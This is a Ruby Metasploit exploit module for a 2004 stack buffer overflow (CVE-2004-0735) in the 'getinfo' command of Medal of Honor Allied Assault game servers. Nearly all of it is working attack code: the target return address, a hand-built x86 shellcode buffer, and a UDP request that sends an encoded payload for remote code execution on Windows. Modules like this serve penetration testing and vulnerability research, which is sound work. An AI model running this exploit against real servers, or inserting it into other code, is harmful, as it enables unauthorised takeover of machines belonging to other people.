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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Medal of Honor Allied Assault getinfo Stack Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack based buffer overflow in the getinfo
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          command of Medal Of Honor Allied Assault.
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        },
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        'Author' => [ 'Jacopo Cervini' ],
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        'License' => BSD_LICENSE,
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        'References' => [
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          [ 'CVE', '2004-0735'],
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          [ 'OSVDB', '8061' ],
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          [ 'EDB', '357'],
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          [ 'BID', '10743'],
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        ],
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        'Privileged' => false,
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        'Payload' => {
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          'Space' => 512,
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          'BadChars' => "\x00",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          ['Medal Of Honor Allied Assault v 1.0 Universal', { 'Rets' => [ 111, 0x406957 ] }], # call ebx
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        ],
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        'DisclosureDate' => '2004-07-17',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(12203)
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      ]
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    )
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  end
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  def exploit
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    connect_udp
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    # We should convert this to metasm - Patrick
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    buf = 'B' * target['Rets'][0]
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    buf << "\x68\x76\x76\x76\x76" * 9	# PUSH 76767676 x 9
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    buf << "\x68\x7f\x7f\x7f\x7f"	# PUSH 7F7F7F7F
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    buf << "\x57"			    	# PUSH EDI
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    buf << "\x58"			    	# POP EAX
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    buf << "\x32\x64\x24\x24"	# XOR AH,BYTE PTR SS:[ESP+24]
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    buf << "\x32\x24\x24"	# XOR AH,BYTE PTR SS:[ESP]
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    buf << "\x48" * 150	# DEC EAX x 150
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    buf << "\x50\x50"	# PUSH EAX x 2
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    buf << "\x53"				# PUSH EBX
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    buf << "\x58"				# POP EAX
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    buf << "\x51"				# PUSH ECX
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    buf << "\x32\x24\x24"	# XOR AH,BYTE PTR SS:[ESP]
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    buf << "\x6a\x7f"	# PUSH 7F
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    buf << "\x5e"	# POP ESI
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    buf << "\x46" * 37				# INC ESI
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    buf << "\x56" * 10				# PUSH ESI
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    buf << "\x32\x44\x24\x24"	# XOR AL,BYTE PTR SS:[ESP+24]
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    buf << "\x49\x49"	# DEC ECX
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    buf << "\x31\x48\x34"	# XOR DWORD PTR DS:[EAX+34],ECX
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    buf << "\x58" * 11	# POP EAX
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    buf << "\x42" * 66
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    buf << "\x3c" * 4
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    buf << "\x42" * 48
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    buf << [ target['Rets'][1] ].pack('V')
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    req = "\xff\xff\xff\xff\x02" + "getinfo " + buf
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    req << "\r\n\r\n" + make_nops(32) + payload.encoded
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    udp_sock.put(req)
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    handler
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    disconnect_udp
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  end
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end
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